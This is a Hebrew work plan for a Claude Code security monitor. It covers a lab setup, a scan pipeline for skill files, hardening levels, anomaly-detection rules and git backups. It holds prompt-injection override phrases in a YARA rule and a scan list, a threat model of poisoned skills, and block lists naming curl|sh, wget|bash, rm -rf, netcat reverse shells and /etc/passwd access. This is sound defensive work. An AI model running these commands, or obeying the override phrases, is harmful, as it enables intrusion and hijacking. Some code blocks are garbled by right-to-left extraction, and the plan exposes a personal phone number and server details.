RAM פנוי	מינימום 12 GB	דיסק פנוי	60–80 GB	CPU	4+ cores
OS	Windows 11 Pro/Enterprise	Feature	Hyper-V מופעל

VM-1 — DOMAIN CONTROLLER

שם	CORP-DC01
OS	Windows Server 2022 Eval
CPU / RAM	2 vCores / 2 GB
דיסק	40 GB
Domain	ehzlab.local
רישיון	חינמי 180 יום

- ✓ AD DS + DNS
- ✓ OU: CCSM-Users
- ✓ קבוצות: CCSM-Admins, CCSM-Analysts
- ✓ Service Account: ccsm-svc
- ✓ GPO: CCSM-Deploy
- ✓ 3–5 משתמשי בדיקה

VM-2 — CCSM SERVER

שם	CCSM-SRV01
OS	Ubuntu 22.04 LTS
CPU / RAM	2 vCores / 4 GB
דיסק	30 GB
IP	Static 192.168.1.10
רישיון	חינמי

- ✓ Collector + Dashboard
- ✓ PostgreSQL 15+
- ✓ nginx + SSL
- ✓ PM2
- ✓ Join to Domain (LDAP)
- ✓ Port 3010 / 3011 / 443

VM-3 — WORKSTATION

שם	CORP-WS01
OS	Windows 11 Pro

CPU / RAM	2 vCores / 4 GB
דיסק	30 GB
Join Domain	ehzlab.local
רישיון	Evaluation / קיים

✓ Claude Code מותקן
✓ CCSM Agent מותקן (GPO)
✓ מנוטרת אוטומטית
✓ משתמש Domain: testuser01
✓ Node.js 20 LTS

טופולוגיית רשת — LAB

```
Hyper-V Internal Switch: 192.168.1.0/24
┌──────────────────────────────────────────────────┐
│                                                  │
│   [CCSM-SRV01]          [CORP-DC01]              │
│   192.168.1.10          192.168.1.1              │
│   AD + DNS              Collector:3010           │
│   Dashboard:3011                                 │
│              /                    \              │
│              ────────────────────                │
│                        |                         │
│                  [CORP-WS01]                     │
│                 192.168.1.20                     │
│           Claude Code + Agent                    │
│                                                  │
└──────────────────────────────────────────────────┘
```

המחשב הפיזי: NAT → גישת אינטרנט לכל VMs

ציר זמן הקמת ~4 שעות — LAB

שעה 1	GPO + משתמשים + VM-1: DC + AD + DNS
שעה 2	VM-2: Ubuntu + PostgreSQL + CCSM Server
שעה 3	VM-3: Join domain + Claude Code + GPO deploy
שעה 4	בדיקות end-to-end: hook → collector → dashboard

אפשרות ב — CLOUD LAB (אם אין מספיק RAM)

Kamatera (קיים)	CCSM-SRV01 — כבר שלך
Azure Dev/Test	~$50/חודש — DC + Workstation

Azure AD	חודש/Azure AD Domain Services ~$100
חיסכון	שרת Kamatera כ-CCSM-SRV — חוסך VM נוסף

💡 המלצה: שלב א' על המחשב הנוכחי בלבד (ללא VMs). שלב ב' — 3 VMs על Hyper-V לפי הטבלה למעלה. Windows Server 2022 Evaluation + Ubuntu 22.04 חינמיים לחלוטין לצורך הבדיקות.

מנועי סריקה חיצוניים — EXTERNAL SCAN ENGINES (חינמיים)

מה נסרק — כל קובץ שCLAUDE משתמש בו

🔧 סקילים
כל .md שנטען
לפני הפעלה ראשונה

📁 קבצים שמועלים
כל קובץ שנכתב / נקרא
מחוץ לתיקיית הפרויקט

🌐 URLs
כל URL ב-WebFetch
לפני הגישה

📦 חבילות npm
package.json שנוצר
install npm חדש

📜 סקריפטים
.py. / .ps1 / sh
לפני הרצה

⚙️ קבצי config
.yaml. / .env / json
שינויים בהגדרות

YARA Rules Engine
✅ קוד פתוח — חינמי לחלוטין

מה מזהה	Prompt Injection, דפוסים מותאמים
מהירות	מהיר מאוד — מקומי
מגבלה	אין
מתאים ל	סקילים, סקריפטים, config

```
} rule PromptInjection
:strings
a = "ignore previous" nocase$
b = "you are now" nocase$
/c = /\[INST\].*\[\/INST\]$
condition: any of them
{
```

Semgrep
✅ קוד פתוח — חינמי לחלוטין

מה מזהה	קוד מסוכן: eval, exec, child_process
מהירות	מהיר — מקומי
מגבלה	אין
מתאים ל	סקריפטים, .sh, .py, js

```
semgrep --config "p/security-audit" file.js
semgrep --config "p/secrets" config.json
# מזהה: os.system, eval(),
# בקוד subprocess, secrets
```

OpenAI Moderation API
✅ API חינמי לחלוטין

מה מזהה	תוכן מזיק, הוראות עוינות

Google Safe Browsing
✅ חינמי — 10,000 בקשות/יום

מה מזהה	Malware, Phishing, Unwanted SW

מהירות	~200ms
מגבלה	ללא מגבלה ידועה
מתאים ל	סקילים, תוכן טקסטואלי

```
POST /v1/moderations
{ input": skillContent" }
} :categories →
,hate, violence
self-harm, harassment
{
```

מהירות	~300ms
מגבלה	10,000/יום
מתאים ל	כל URL לפני WebFetch

```
POST /v4/threatMatches:find
{ urls: [url1, url2...] }
/ MALWARE →
/ SOCIAL_ENGINEERING
UNWANTED_SOFTWARE
```

VirusTotal API

⚠️ חינמי — 500 בקשות/יום

מה מזהה	+70 אנטי-וירוסים במקביל
מהירות	~2-5 שניות
מגבלה	500 בקשות/יום
מתאים ל	קבצים חשודים, URLs, hash

```
GET /v3/files/{sha256}
GET /v3/urls/{url_id}
} :last_analysis_stats →
,malicious: 0
suspicious: 0
{
```

ClamAV

✅ קוד פתוח — חינמי לחלוטין

מה מזהה	malware signatures מקומי
מהירות	מהיר — לא צריך API
מגבלה	אין
מתאים ל	כל קובץ — סריקה מקומית

```
clamscan --infected skill.md
/clamscan -r ./skills
scan DONE →
Infected files: 0
```

PIPELINE סריקה — סדר ביצוע לכל קובץ

```
קובץ חדש / שינוי קובץ קיים
↓
① YARA Rules (מקומי, <10ms)
→ Prompt Injection patterns
→ נכשל → ❌ CRITICAL + הסגר מיידי
↓ עבר
② Semgrep (מקומי, <500ms)
→ eval/exec/child_process/secrets
→ נכשל → ❌ HIGH + הסגר
↓ עבר
③ ClamAV (מקומי, <1s)
→ malware signatures
→ נכשל → ❌ CRITICAL + הסגר
↓ עבר
```

④ OpenAI Moderation (חינמי API, ~200ms)
→ תוכן מזיק / הוראות עוינות
→ נכשל → ❌ HIGH + review
↓ עבר
⑤ Google Safe Browsing (URLs בלבד, ~300ms)
→ Malware / Phishing URLs בתוכן
→ נכשל → ❌ HIGH
↓ עבר
⑥ VirusTotal (קבצים חשודים בלבד, ~3s)
→ 70+ engines
→ נכשל → ❌ CRITICAL
↓ עבר
✅ CLEAN — שמירת hash + אישור

השוואת מנועים

מנוע	מה מזהה	עלות	מגבלה/יום	מהירות	רשת
YARA	Prompt Injection, דפוסים	חינמי	∞ אין	<10ms	❌ לא צריך
Semgrep	קוד מסוכן, secrets	חינמי	∞ אין	<500ms	❌ לא צריך
ClamAV	malware signatures	חינמי	∞ אין	<1s	❌ לא צריך
OpenAI Mod	תוכן מזיק, הוראות עוינות	חינמי	∞ אין	~200ms	✅ API key
Safe Browsing	Malware/Phishing URLs	חינמי	10,000	~300ms	✅ API key
VirusTotal	70+ AV engines	חינמי	500	~3s	✅ API key

API KEYS נדרשים — כולם חינמיים

OpenAI Moderation	platform.openai.com → API Keys (חינמי)
Google Safe Browsing	console.cloud.google.com → Enable API (חינמי)
VirusTotal	virustotal.com/gui/join-us (חינמי)
YARA	npm install yara — אין צורך ב-key
Semgrep	npm install @semgrep/semgrep — אין צורך ב-key
ClamAV	winget install ClamAV — אין צורך ב-key

💡 שלבים 1-3 (YARA + Semgrep + ClamAV) רצים מקומית ללא אינטרנט — אפס latency. שלבים 4-6 (APIs) רצים רק אם הסריקה המקומית עברה ורק על קבצים/URLs חשודים.

מודל איום — סקיל נגוע

תרחיש א

תוקף משנה קובץ סקיל קיים
→ Claude מבצע הוראות זדוניות בשקט

תרחיש ב

סקיל "חדש" מותקן ממקור לא ידוע
→ Claude סומך עליו אוטומטית

תרחיש ג

Prompt Injection מוסתר בתוכן
→ תווים נסתרים / הוראות מוסוות

תרחיש ד

סקיל לגיטימי מתנהג חריג
→ SEO skill מריץ Bash / כותב ל-ssh.

SCAN

Pre-Install Scanner — סריקה לפני כל התקנת סקיל

כל סקיל עובר 4 שלבי בדיקה לפני שמותר לו לפעול

חובה

SCAN-01

בדיקת מבנה קובץ

האם זה Markdown תקני?
האם יש frontmatter תקין?
גודל קובץ חריג (<500KB)?
קידוד חריג (לא UTF-8)?

structure

SCAN-02

סריקת Prompt Injection

"ignore previous instructions"
"you are now" / "new persona"
Token injection: <|...|> / [INST]
תווים נסתרים: U+200B, U+FEFF

injection steganography

SCAN-03

סריקת פקודות מסוכנות

curl/wget בתוך הסקיל
eval() / exec() / bash -c
require('child_process')
command substitution: $(...) / `...`

commands

SCAN-04

אימות מקור וחתימה

מאיפה הגיע הקובץ?
חישוב SHA-256 ושמירה
האם נוצר ע"י ערן ידנית?
האם הנתיב תקין?

hash origin

זרימת PRE-INSTALL SCAN

```
סקיל חדש מתגלה / מותקן
↓
SCAN-01: מבנה תקין?
  לא → ❌ BLOCKED + CRITICAL alert
  כן ↓
SCAN-02: Prompt Injection?
  כן → ❌ BLOCKED + CRITICAL alert + קובץ בהסגר
  לא ↓
SCAN-03: פקודות מסוכנות?
  כן → ❌ BLOCKED + HIGH alert
```

```
                                                    לא ↓
SCAN-04: מקור ידוע + חתימה?
לא → ⚠️ MEDIUM alert + ממתין לאישור ידני
כן ↓
✅ APPROVED – שמירת hash + metadata
                                                    ↓
סקיל פעיל – מנוטר בזמן ריצה
```

ניטור סקילים בזמן ריצה

תנאי	חשד	רמה
Hash השתנה מאז אישור	סקיל שונה ע"י גורם חיצוני	🔴
SEO skill → Bash/Write/.ssh	פעולה מחוץ לתחום הסקיל	🔴
סקיל כותב לנתיב מערכת	סקיל נגוע / Injection	🔴
תווים נסתרים התגלו בריצה	Steganography injection	🟠
סקיל שונה ע"י process לא ידוע	שינוי לא מורשה	🟠
סקיל חדש – לא עבר scan	התקנה לא מורשית	🟡
סקיל ישן – לא השתמשו 30 יום	סקיל מיותר — מועמד להסרה	⚪

SKILL REGISTRY — מאגר סקילים מאושרים

נשמר ב: ~/.claude/skills-registry.json


```
{
  "skills": [
    {
      "name": "seo.md",
      "path": "C:/Users/Eran/.claude/skills/seo.md",
      "sha256": "a3f9c2b1d4e8...",
      "approved_by": "eran",
      "approved_at": "2026-04-01T10:00:00Z",
      "last_verified": "2026-04-06T08:00:00Z",
      "status": "APPROVED",
      "scan_results": { "injection": false, "commands": false, "structure": true }
    },
    {
      "name": "unknown-skill-v2.md",
      "path": "C:/Users/Eran/.claude/skills/unknown-skill-v2.md",
      "sha256": "x9z1a2b3c4...",
      "approved_by": null,
      "status": "QUARANTINE",
      "scan_results": { "injection": true, "hidden_chars": 14 }
    }
  ]
```

```
{
```

🔴 סקיל שנכשל ב-SCAN-01/02/03 → נכנס להסגר אוטומטי + CRITICAL alert + לא פועל עד אישור ידני.

💡 בדיקת Hash רצה גם בכל הפעלה של Claude Code — לא רק בהתקנה. שינוי בסקיל קיים = CRITICAL מיידי.

HARDENING LEVELS — הקשחה

מה זה הקשחה?

Claude מקבל הגדרת **תיקיית פרויקט** — וכל גישה מחוצה לה נחסמת, מדווחת, או מצריכה אישור. כמו Firewall Zone — אתה מגדיר מה "פנים" ומה "חוץ".

🔓 Level 0 — OFF
ניטור בלבד, ללא הגבלה

- ✅ קריאה — כל מקום
- ✅ כתיבה — כל מקום
- ✅ WebFetch — כל URL
- ✅ Bash — כל פקודה
- ℹ️ הכל מתועד בלבד

⚠️ Level 1 — SOFT
התראה על חריגה מהפרויקט

- ✅ קריאה — כל מקום
- ⚠️ כתיבה מחוץ לפרויקט → alert
- ⚠️ WebFetch URL חדש → alert
- ✅ Bash — כל פקודה
- 📱 Telegram על כל חריגה

🔒 Level 2 — STRICT
חסימה + אישור ידני

- ✅ קריאה — בתיקיית פרויקט בלבד
- ❌ כתיבה מחוץ לפרויקט → חסום
- ⚠️ WebFetch — Whitelist בלבד
- ❌ Bash חשוד → חסום
- 🔐 חריגה → אישור ידני נדרש

🔐 Level 3 — LOCKDOWN
נעילה מלאה — פרויקט בלבד

- ✅ קריאה — בתיקיית פרויקט בלבד
- ✅ כתיבה — בתיקיית פרויקט בלבד
- ❌ WebFetch — חסום לחלוטין
- ❌ Bash — חסום לחלוטין
- 🚨 כל חריגה = CRITICAL + חסום

הגדרת תיקיית פרויקט — PROJECT SCOPE

נשמר ב: `~/ccsm/project-scope.json`

```
{
  "hardening_level": 2,
  "project_roots": [
    "/C:/Claude-Repo/agents/EHZ-SEC-AI",
    "/C:/Claude-Repo/local-apps/next-stop-flights",
```

```
,[
] :"allowed_read_outside"
,"/C:/Users/Eran/.claude"
"/C:/Users/Eran/AppData/Local/Temp"
,[
,[] :"allowed_write_outside"
] :"url_whitelist"
,"github.com"
,"ehz-server.duckdns.org"
,"npmjs.com"
"vercel.app"
,[
] :"bash_blocked_patterns"
,"curl.*|.*sh"
,"/ rm -rf"
"wget.*|.*bash"
,[
] :"require_approval_for"
,"write_outside_project"
,"new_domain_fetch"
"bash_with_sudo"
[
{
```

מטריצת החלטות — לפי LEVEL ו-TOOL

פעולה	Level 0	Level 1	Level 2	Level 3
Read — בתיקיית פרויקט	✅	✅	✅	✅
Read — מחוץ לפרויקט	✅	✅	alert ⚠️	חסום ❌
Write — בתיקיית פרויקט	✅	✅	✅	✅
Write — מחוץ לפרויקט	✅	alert ⚠️	אישור 🔐	חסום ❌
WebFetch — URL מ-Whitelist	✅	✅	✅	חסום ❌
WebFetch — URL חדש	✅	alert ⚠️	אישור 🔐	חסום ❌
Bash — פקודה רגילה	✅	✅	✅	חסום ❌
Bash — sudo / חשוד	log ✅	alert ⚠️	חסום ❌	חסום ❌
Agent Tool / MCP	✅	alert ⚠️	אישור 🔐	חסום ❌

זרימת אישור ידני — LEVEL 2 (אישור נדרש)

Claude מנסה לכתוב מחוץ לפרויקט

↓

```
hook מזהה הריגה
↓
Claude מקבל: "⛔ BLOCKED — מחוץ לפרויקט"
↓
Telegram לערן:
"🔐 אישור נדרש
Claude רוצה לכתוב ל: /C:/Windows/System32
פקודה: [תוכן הפקודה]
/approve_123 — אשר   /deny_123 — דחה"
↓
ערן לוחץ /Claude → approve ממשיך ✅
ערן לוחץ /Claude → deny חסום ❌
אין תגובה 60s → דחייה אוטומטית ❌
```

הגדרה לפי פרויקט — כל פרויקט עם LEVEL שונה

```
{
  "projects": [
    {
      "name": "next-stop-flights",
      "/root": "C:/Claude-Repo/local-apps/next-stop-flights",
      "hardening": 2,
      "allowed_urls": ["ehz-server.duckdns.org", "vercel.com"]
    },{
      "name": "EHZ-SEC-AI",
      "/root": "C:/Claude-Repo/agents/EHZ-SEC-AI",
      "hardening": 1,
      "allowed_urls": ["github.com", "npmjs.com"]
    },{
      "name": "research",
      "/root": "C:/Claude-Repo/research",
      "hardening": 3,
      "allowed_urls": []
    }
  ],
  "default_hardening": 1
{
```

💡 ניתן לשנות Level בזמן אמת מה-Dashboard או בפקודת Telegram: /hardening 2

🔐 Level 3 מיועד לפרויקטים רגישים / עבודה לא מקוונת — חוסם הכל חוץ מתיקיית הפרויקט

מנגנון זיהוי אנומליות — ANOMALY DETECTION RULES

🔴 CRITICAL — Telegram מיידי | 🟠 HIGH — Telegram | 🟡 MEDIUM — לוג בלבד

🔵 LOW — לוג בלבד | ⚪ INFO — לוג בלבד

חוק סוג 1 — BASH SIGNATURE RULES

דפוס	סיבה	רמה
`curl.*|.*sh`	הורדה + הרצה עיוורת	🔴
`wget.*|.*bash`	הורדה + הרצה עיוורת	🔴
`/ rm -rf`	מחיקת root	🔴
`=mkfs / dd if`	פורמט/כתיבה לדיסק	🔴
`base64 -d`	decode payload מוסתר	🟠
`- nc`	netcat — reverse shell?	🟠
`python -c exec`	הרצת קוד inline	🟠
`etc/passwd/`	גישה לקובץ סיסמאות	🟠
`sudo`	הרמת הרשאות	🟡
`crontab / chmod 777`	persistence / הרשאות	🟡

חוק סוג 2 — CONTEXT RULES (WEBFETCH / WRITE / READ)

Tool + דפוס	סיבה	רמה
`WebFetch: IP URL`	URL עם IP ישיר	🟠
`WebFetch: .ru/.tk/.ml`	TLD חשוד	🟠
`WebFetch: pastebin`	paste site — payload?	🟠
`WebFetch: HTTP`	לא מוצפן	🟡
`WebFetch: ngrok.io`	tunnel חשוד	🟡
`/Write: /.ssh`	כתיבה לתיקיית SSH	🟠
`/Write: /etc`	כתיבה לקבצי מערכת	🟠
`Write: .bashrc/.zshrc`	שינוי הגדרות shell	🟡
`Write: startup/autorun`	persistence?	🟡
`Bash: pipes > 3`	שרשרת פקודות ארוכה	🔵

חוק סוג 3 — BEHAVIORAL RULES (דפוס לאורך זמן)

רצים על Collector — ניתוח היסטורי

תנאי	חשד	רמה
>20 WebFetch / 60 שניות	data exfiltration?	🟠
>50 Read / 5 דקות	file scanning?	🟡
>10 domain אותו פעמים	reconnaissance?	🟡
+3 CRITICAL באותה session	מתקפה מתמשכת?	🔴
Tool חדש — לא נראה 7 ימים	unusual usage	⚪
פעילות בשעות לא רגילות	off-hours activity	🔵

WHITELIST — אין התראה על אלה

מגדיר אתה — מניעת False Positives

דומיינים מורשים:

`github.com`

`ehz-server.duckdns.org`

`vercel.app`

`npmjs.com`

פקודות מורשות:

`git status / git log / git diff`

`npm install / npm run`

`ls / pwd / cat / echo`

נתיבים מורשים:

/C:/Claude-Repo

/C:/Users/Eran/AppData/Local/Temp

זרימת בדיקה — כל TOOL CALL

```
Claude מבצע tool call
                ↓
hook.js מופעל (<5ms)
                ↓
בדיקת Whitelist → מורשה? → שלח Claude → event INFO ממשיך ✅
                ↓ לא מורשה
בדיקת Signature Rules (Bash / WebFetch / Write)
                ↓
בדיקת Context Rules
                ↓
חישוב Severity (CRITICAL / HIGH / MEDIUM / LOW / INFO)
                ↓
שליחה async ל-Collector (לא חוסם!)
        ↓               ↓
    CRITICAL/HIGH    MEDIUM
        ומטה
        ↓               ↓
    לוג בשקט    Telegram Alert
        ↓               ↓
Claude ממשיך ✅   Claude ממשיך ✅

* שלב ג בלבד: CRITICAL → process.exit(1) → Claude נחסם
```

🔴 Telegram = CRITICAL מיידי בכל מקרה — גם בשלב א' (ניטור בלבד). חסימה רק בשלב ג' ורק לפי הגדרתך.

💡 כל החוקים וה-Whitelist ניתנים לעריכה מה-Dashboard — ללא צורך לגעת בקוד.

סביבת בדיקות שלב ב — KAMATERA CLOUD LAB

שרת 1 — CORP-DC01

תפקיד	Domain Controller + DNS
OS	Windows Server 2022
RAM	4 GB
IP פנימי	192.168.0.1

שרת 2 — CORP-WS01

תפקיד	תחנת עבודה מנוטרת
OS	Ubuntu 22.04 LTS
RAM	2 GB
IP פנימי	192.168.0.2

עלות	~$30/חודש

- ✓ AD DS + DNS
- ✓ Domain: ehzlab.local
- ✓ OU: CCSM-Users
- ✓ קבוצות: CCSM-Admins, CCSM-Analysts
- ✓ Service Account: ccsm-svc
- ✓ GPO: CCSM-Deploy
- ✓ 3–5 משתמשי בדיקה

עלות	~$9/חודש

- ✓ Claude Code (npm -g)
- ✓ Node.js 20 LTS
- ✓ CCSM Agent + hooks
- ✓ Join Domain (realmd + sssd)
- ✓ משתמש: testuser01@ehzlab.local

שרת 3 — CCSM-SRV

תפקיד	Collector + Dashboard
OS	Ubuntu 22.04 LTS
RAM	2 GB
IP פנימי	192.168.0.10
עלות	~$9/חודש

- ✓ Node.js 20 LTS
- ✓ PostgreSQL 15+
- ✓ nginx + SSL
- ✓ PM2
- ✓ Port 3010 (Collector)
- ✓ Port 3011 (Dashboard)

סיכום עלויות — חשבון KAMATERA חדש

CORP-DC01 (Windows)	~$30/חודש
CORP-WS01 (Ubuntu)	~$9/חודש
CCSM-SRV (Ubuntu)	~$9/חודש
סה"כ/חודש	**~$48**
חודש ראשון (קרדיט $100)	✅ חינמי

רשת פנימית — KAMATERA PRIVATE LAN

```
Kamatera IL-PT — Private Network: 192.168.0.0/24
┌──────────────────────────────────────────────────┐
│                                                  │
│   [DC01 — 192.168.0.1]                           │
│   Windows Server 2022                            │
│   AD + DNS + GPO                                 │
```

```
│                                          │        │
 │                  ────────────────────────┼──────  │
│                            │              │        │
  │ [CCSM – 192.168.0.10]  │ [WS01 – 192.168.0.2]  │
│  Ubuntu + Claude Code │   Collector + Dashboard   │
│   CCSM Agent          ├──► events → PostgreSQL   │
│         Join Domain         │   LDAP Auth ← AD   │
│                                                   │
└───────────────────────────────────────────────────┘

תקשורת פנימית: חינמית | ללא חיוב bandwidth פנימי
```

צ'קליסט — לפני הקמת LAB

✅ שלב א סיום	קוד עובד על המחשב המקומי
☐ פתיחת חשבון Kamatera חדש	kamatera.com/free-trial
☐ יצירת Private LAN	בממשק Kamatera
☐ הקמת DC01	Windows Server + AD
☐ הקמת CCSM-SRV	Ubuntu + PostgreSQL + Collector
☐ הקמת WS01	Ubuntu + Claude Code + Agent
☐ בדיקות end-to-end	hook → collector → dashboard → AD

💡 כל הסקריפטים להקמה (DC, WS, CCSM) ייכתבו אוטומטית — הקמה בלחיצת כפתור לאחר סיום שלב א'.

טק סטאק

Node.js 20 Agent + Collector + API	**SQLite → PG** שלב א → שלב ב	**Express** Collector + Dashboard API
Chart.js גרפים בDashboard	**JWT + LDAP** Auth + AD	**Telegram API** התראות

תוצרי שלב א

- [ ] **ccsm-hook.js**
  Hook script פעיל ב-Claude Code hooks

- [ ] **collector/server.js**
  Express + SQLite, port 3010

- [ ] **dashboard/index.html**
  ממשק ניהול Checkpoint-style

- [ ] **rules.js**
  חוקי CRITICAL — anomaly עד INFO

- [ ] **install.ps1**
  סקריפט התקנה + הגדרת hooks

- [ ] **Telegram Bot**
  התראות CRITICAL/HIGH בזמן אמת

GITHUB — גיבוי ובקרת גרסאות

GitHub Repository
Private 🔒

שם Repo	ehz-sec-ai
Branch ראשי	main
גישה	Private — ערן בלבד
Commit אוטומטי	אחרי כל Milestone
מי מבצע push	Claude ישירות

✅ מה מועלה ל-GITHUB

```
+ agent/hook.js
+ agent/rules.js
+ agent/whitelist.json
+ collector/server.js
+ collector/schema.sql
+ dashboard/index.html
+ install/setup.ps1
+ /scanner/yara-rules
+ workplan.html
+ README.md
```

❌ .GITIGNORE — לא מועלה

```
env.
ccsm/machine.token.
config/project-scope.json
db ← SQLite.*
/logs
/node_modules
token.*
skills-registry.json
# סיסמאות / DB / tokens אישי
```

אסטרטגיית COMMITS — אחד לכל MILESTONE

```
Milestone 1 הושלם + בדיקה עברה
"git commit -m "feat: Milestone 1 — Hook + Collector + Telegram
```

```
Milestone 2 הושלם
"git commit -m "feat: Milestone 2 — Anomaly Rules + Whitelist

Milestone 3 הושלם
"git commit -m "feat: Milestone 3 — Dashboard UI

תיקון bug באמצע milestone
"git commit -m "fix: collector SQLite path on Windows

שינוי חוק anomaly
"git commit -m "rules: add base64_decode HIGH pattern
```

מבנה BRANCHES

main
קוד יציב בלבד
אחרי בדיקת קבלה

dev
פיתוח שוטף
merge ל-main אחרי milestone

***/hotfix**
תיקון בעיות דחוף
ישירות ל-main

***/feature**
פיצ'ר חדש גדול
domain / siem / block-mode

הקמה ראשונית — CLAUDE מבצע לפני MILESTONE 1

```
# 1. init בתיקיית הפרויקט
cd C:/Claude-Repo/agents/EHZ-SEC-AI
git init

# 2. הגדרת Oracle + GitHub remotes — (גיבוי כפול)
git remote add origin https://github.com/[username]/ehz-sec-ai.git
git remote set-url --add --push origin https://github.com/[username]/ehz-sec-ai.git
.t remote set-url --add --push origin opc@ehz-server.duckdns.org:/home/opc/git/ehz-sec-ai.git

# 3. הקמת bare repo על Oracle (פעם אחת)
\ "ssh -i "C:/Claude-Repo/oracle/keys/ssh-key-2026-03-14 (1).key
\ opc@ehz-server.duckdns.org
"git init --bare /home/opc/git/ehz-sec-ai.git"

# 4. יצירת .gitignore
echo ".env\n*.db\nlogs/\nnode_modules/\n*.token" > .gitignore
```

```
# 5. commit ראשון — workplan + dashboard demo
git add workplan.html dashboard-demo.html .gitignore README.md
git commit -m "init: project setup + workplan"
git push -u origin main   # ← דוחף לשניהם אוטומטית!

# 6. יצירת branch dev
git checkout -b dev
git push -u origin dev
```

README.MD — תוכן

```
# 🛡 EHZ-SEC-AI
Claude Code Security Monitor

## מה זה?
מערכת ניטור ואבטחה לפעילות Claude Code.
Agent hooks → Collector → Dashboard → Telegram

## מצב נוכחי
✅ Milestones 1-5 הושלמו | 🔵 Milestone 6 בתהליך

## התקנה
ראה workplan.html לתוכנית מלאה

## פותח על ידי
EHZ-AI | ערן | 054-4825276
```

🗄 גיבוי כפול — GITHUB + שרת ORACLE

כל `git push` יגיע לשני יעדים במקביל — GitHub בענן + Oracle בארץ.

🐙 GitHub (ענן)

- ✅ Private repo
- ✅ גיבוי גלובלי
- ✅ Version history
- ✅ גישה מכל מקום

🏠 Oracle (ישראל)

- ✅ גיבוי מקומי (IL)
- ✅ Recovery מהיר
- ✅ ללא תלות בענן
- ✅ שרת שכבר קיים

הגדרת Git Remote כפול — פקודה אחת דוחפת לשניהם:

```
# הגדרת שני remotes
git remote add origin https://github.com/[username]/ehz-sec-ai.git
git remote add oracle opc@ehz-server.duckdns.org:/home/opc/git/ehz-sec-ai.git

# יצירת bare repo על Oracle (פעם אחת בלבד)
```

```
\ ssh -i "C:/Claude-Repo/oracle/keys/ssh-key-2026-03-14 (1).key" opc@ehz-server.duckdns.org
                "mkdir -p /home/opc/git && git init --bare /home/opc/git/ehz-sec-ai.git"

                                                    # Push לשניהם בפקודה אחת
                                          git push origin main   # → GitHub
                                          git push oracle main   # → Oracle

                                # או – הוסף Oracle כ-push URL נוסף ל-origin (push אחד לשניהם!)
      git remote set-url --add --push origin https://github.com/[username]/ehz-sec-ai.git
.t remote set-url --add --push origin opc@ehz-server.duckdns.org:/home/opc/git/ehz-sec-ai.git
                                          git push  # ← דוחף לשני המקומות אוטומטית
```

🔄 **אסטרטגיה:** Origin = GitHub+Oracle. פקודת push אחת → גיבוי כפול אוטומטי.

📁 **נתיב** Oracle: /home/opc/git/ehz-sec-ai.git (bare repo)

🔒 גיבוי קבצים רגישים — ORACLE בלבד (לא ב-GITHUB)

קבצים שב-`.gitignore` מגובים לשרת Oracle דרך SCP יומי אוטומטי. לעולם לא עולים ל-GitHub.

קובץ / תיקייה	GitHub	Oracle	תוכן
`/agent/ rules/ dashboard`	✅	✅	קוד המערכת
`env.`	❌	✅	Telegram token, API keys
`db.*`	❌	✅	מסד נתונים — כל האירועים
`/logs`	❌	✅	לוגים מלאים של פעילות
`config/project-scope.json`	❌	✅	הגדרות אישיות + נתיבים
`token.*`	❌	✅	Machine token

סקריפט גיבוי — backup-sensitive.ps1 (Windows Task Scheduler — כל לילה 02:00)

```
                                                    backup-sensitive.ps1 #
                  "KEY    = "C:/Claude-Repo/oracle/keys/ssh-key-2026-03-14 (1).key$
                                  "DEST   = "opc@ehz-server.duckdns.org$
                                   "DATE   = Get-Date -Format "yyyyMMdd$
                                "SRC    = "C:/Claude-Repo/agents/EHZ-SEC-AI$
                             "REMOTE = "/home/opc/backups/ehz-sec-ai/$DATE$

                                                    # יצירת תיקיית יעד
                                   "ssh -i $KEY $DEST "mkdir -p $REMOTE

                                                    # גיבוי קבצים רגישים בלבד
"scp -i $KEY "$SRC/.env"                                "${DEST}:${REMOTE}/.env
```

```
"scp -i $KEY "$SRC/collector/ccsm.db"            "${DEST}:${REMOTE}/ccsm.db
"scp -i $KEY "$SRC/config/project-scope.json"    "${DEST}:${REMOTE}/project-scope.json
"/scp -i $KEY -r "$SRC/logs/"                    "${DEST}:${REMOTE}/logs

"Write-Host "✅ Backup complete → Oracle $REMOTE
```

🕑	📦	🔒
כל לילה 02:00	**שמירה 7 ימים**	**Oracle בלבד**
Windows Task Scheduler	תיקיות לפי תאריך YYYYMMDD	לעולם לא עולה ל-GitHub

🐙 הקמת ה-Repo וה-commit הראשון יבוצעו על ידי Claude לפני תחילת Milestone 1. נדרש: שם המשתמש ב-GitHub.
🏠 הקמת ה-Bare Repo על Oracle תבוצע באותו שלב — גיבוי כפול מהיום הראשון.